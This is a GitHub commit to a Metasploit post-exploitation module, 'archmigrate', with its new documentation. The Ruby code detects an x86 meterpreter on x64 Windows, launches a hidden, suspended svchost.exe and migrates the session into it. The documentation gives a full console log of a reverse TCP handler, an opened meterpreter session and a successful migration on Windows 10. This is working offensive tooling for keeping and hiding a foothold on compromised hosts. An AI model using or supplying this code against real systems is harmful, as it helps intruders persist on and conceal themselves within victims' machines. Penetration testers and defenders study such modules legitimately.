Skip to content

Commit 628827c

Browse files
author
Koen Riepe
committed
Added some documentation and gracefull error handeling.
1 parent 264cfc9 commit 628827c

File tree

2 files changed

+141
-64
lines changed

2 files changed

+141
-64
lines changed

‎modules/post/windows/manage/archmigrate.md

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Creating A Testing Environment
2+
To use this module you need an x86 executable type meterpreter on a x64 windows machine.
3+
4+
This module has been tested against:
5+
6+
1. Windows 10.
7+
2. Windows 7.
8+
3. Windows Server 2008R2
9+
10+
This module was not tested against, but may work against:
11+
12+
1. Other versions of Windows that are x64.
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole
17+
2. Obatin a meterpreter session with an executable meterpreter via whatever method
18+
3. Do: 'use post/windows/manage/archmigrate'
19+
4. Do: 'set session #'
20+
5. Do: 'run'
21+
22+
## Scenarios
23+
24+
### Windows 10 x64
25+
26+
msf exploit(handler) > run
27+
28+
[*] Started reverse TCP handler on <MSF_IP>:4567
29+
[*] Starting the payload handler...
30+
[*] Sending stage (957487 bytes) to <Win10x64_IP>
31+
[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <Win10x64_IP>:50917) at 2017-03-22 11:43:42 -0500
32+
33+
meterpreter > sysinfo
34+
Computer : DESKTOP-SO4MCA3
35+
OS : Windows 10 (Build 14393).
36+
Architecture : x64
37+
System Language : en_US
38+
Domain : WORKGROUP
39+
Logged On Users : 2
40+
Meterpreter : x86/windows
41+
meterpreter > background
42+
[*] Backgrounding session 1...
43+
msf exploit(handler) > use post/windows/manage/archmigrate
44+
msf post(archmigrate) > set session 1
45+
session => 1
46+
msf post(archmigrate) > run
47+
48+
[*] The meterpreter is not the same architecture as the OS! Upgrading!
49+
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
50+
[+] Got pid 1772
51+
[*] Migrating..
52+
[+] Success!
53+
[*] Post module execution completed
54+
msf post(archmigrate) > sessions -l
55+
56+
Active sessions
57+
===============
58+
59+
Id Type Information Connection
60+
-- ---- ----------- ----------
61+
1 meterpreter x64/windows DESKTOP-SO4MCA3\tmoose @ DESKTOP-SO4MCA3 <MSF_IP>:4567 -> <Win10x64_IP>:50917 (<Win10x64_IP>)
62+
63+
msf post(archmigrate) > sessions -i 1
64+
[*] Starting interaction with 1...
65+
66+
meterpreter > sysinfo
67+
Computer : DESKTOP-SO4MCA3
68+
OS : Windows 10 (Build 14393).
69+
Architecture : x64
70+
System Language : en_US
71+
Domain : WORKGROUP
72+
Logged On Users : 2
73+
Meterpreter : x64/windows

‎modules/post/windows/manage/archmigrate.rb

Lines changed: 68 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -5,77 +5,81 @@ class MetasploitModule < Msf::Post
55
include Msf::Post::File
66
include Msf::Post::Common
77

8-
def initialize(info={})
9-
super(update_info(info,
10-
'Name' => 'Architecture Migrate',
11-
'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.},
12-
'License' => MSF_LICENSE,
13-
'Author' => ['Koen Riepe ([email protected])'],
14-
'References' => [''],
15-
'Platform' => [ 'win' ],
16-
'Arch' => [ 'x86', 'x64' ],
17-
'SessionTypes' => [ 'meterpreter' ]
18-
))
8+
def initialize(info={})
9+
super(update_info(info,
10+
'Name' => 'Architecture Migrate',
11+
'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.},
12+
'License' => MSF_LICENSE,
13+
'Author' => ['Koen Riepe ([email protected])'],
14+
'References' => [''],
15+
'Platform' => [ 'win' ],
16+
'Arch' => [ 'x86', 'x64' ],
17+
'SessionTypes' => [ 'meterpreter' ]
18+
))
1919

20-
register_options(
21-
[
22-
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
23-
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
24-
], self.class)
25-
end
20+
register_options(
21+
[
22+
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
23+
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
24+
], self.class)
25+
end
2626

27-
def is_32_bit_on_64_bits()
28-
apicall = session.railgun.kernel32.IsWow64Process(-1,4)["Wow64Process"]
29-
if apicall == "\x00\x00\x00\x00"
30-
migrate = false
31-
else
32-
migrate = true
33-
end
34-
return migrate
27+
def is_32_bit_on_64_bits
28+
begin
29+
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
30+
if apicall == "\x00\x00\x00\x00"
31+
migrate = false
32+
else
33+
migrate = true
34+
end
35+
return migrate
36+
rescue
37+
print_error('Railgun not available, this module only works for binary meterpreters.')
3538
end
39+
end
3640

37-
def get_windows_loc()
38-
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir",255,255)["lpBuffer"]
39-
windir = apicall.split(":")[0]
40-
return windir
41-
end
41+
def get_windows_loc
42+
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
43+
windir = apicall.split(":")[0]
44+
return windir
45+
end
4246

43-
def run
44-
if is_32_bit_on_64_bits()
45-
print_status("The meterpreter is not the same architecture as the OS! Upgrading!")
46-
newproc = datastore['EXE']
47-
if exist?(newproc)
48-
print_status("Starting new x64 process #{newproc}")
49-
pid = session.sys.process.execute(newproc,nil,{'Hidden' => true,'Suspended' => true}).pid
50-
print_good("Got pid #{pid}")
51-
print_status("Migrating..")
52-
session.core.migrate(pid)
53-
if pid == session.sys.process.getpid
54-
print_good("Success!")
55-
else
56-
print_error("Migration failed!")
57-
end
47+
def run
48+
if is_32_bit_on_64_bits
49+
print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
50+
newproc = datastore['EXE']
51+
if exist?(newproc)
52+
print_status("Starting new x64 process #{newproc}")
53+
pid = session.sys.process.execute(newproc, nil, {'Hidden' => true, 'Suspended' => true}).pid
54+
print_good("Got pid #{pid}")
55+
print_status('Migrating..')
56+
session.core.migrate(pid)
57+
if pid == session.sys.process.getpid
58+
print_good('Success!')
59+
else
60+
print_error('Migration failed!')
61+
end
62+
else
63+
print_error('The selected executable to migrate into does not exist')
64+
if datastore['FALLBACK']
65+
windir = get_windows_loc
66+
newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
67+
if exist?(newproc)
68+
print_status("Starting new x64 process #{newproc}")
69+
pid = session.sys.process.execute(newproc, nil, {'Hidden' => true, 'Suspended' => true}).pid
70+
print_good("Got pid #{pid}")
71+
print_status('Migrating..')
72+
session.core.migrate(pid)
73+
if pid == session.sys.process.getpid
74+
print_good('Success!')
5875
else
59-
print_error("The selected executable to migrate into does not exist")
60-
if datastore['FALLBACK']
61-
windir = get_windows_loc()
62-
newproc = windir + ':\windows\sysnative\svchost.exe'
63-
if exist?(newproc)
64-
print_status("Starting new x64 process #{newproc}")
65-
pid = session.sys.process.execute(newproc,nil,{'Hidden' => true,'Suspended' => true}).pid
66-
print_good("Got pid #{pid}")
67-
print_status("Migrating..")
68-
session.core.migrate(pid)
69-
if pid == session.sys.process.getpid
70-
print_good("Success!")
71-
else
72-
print_error("Migration failed!")
73-
end
74-
end
75-
end
76+
print_error('Migration failed!')
7677
end
77-
else
78-
print_good("The meterpreter is the same architecture as the OS!")
78+
end
7979
end
80+
end
81+
else
82+
print_good('The meterpreter is the same architecture as the OS!')
8083
end
84+
end
8185
end

0 commit comments

Comments
 (0)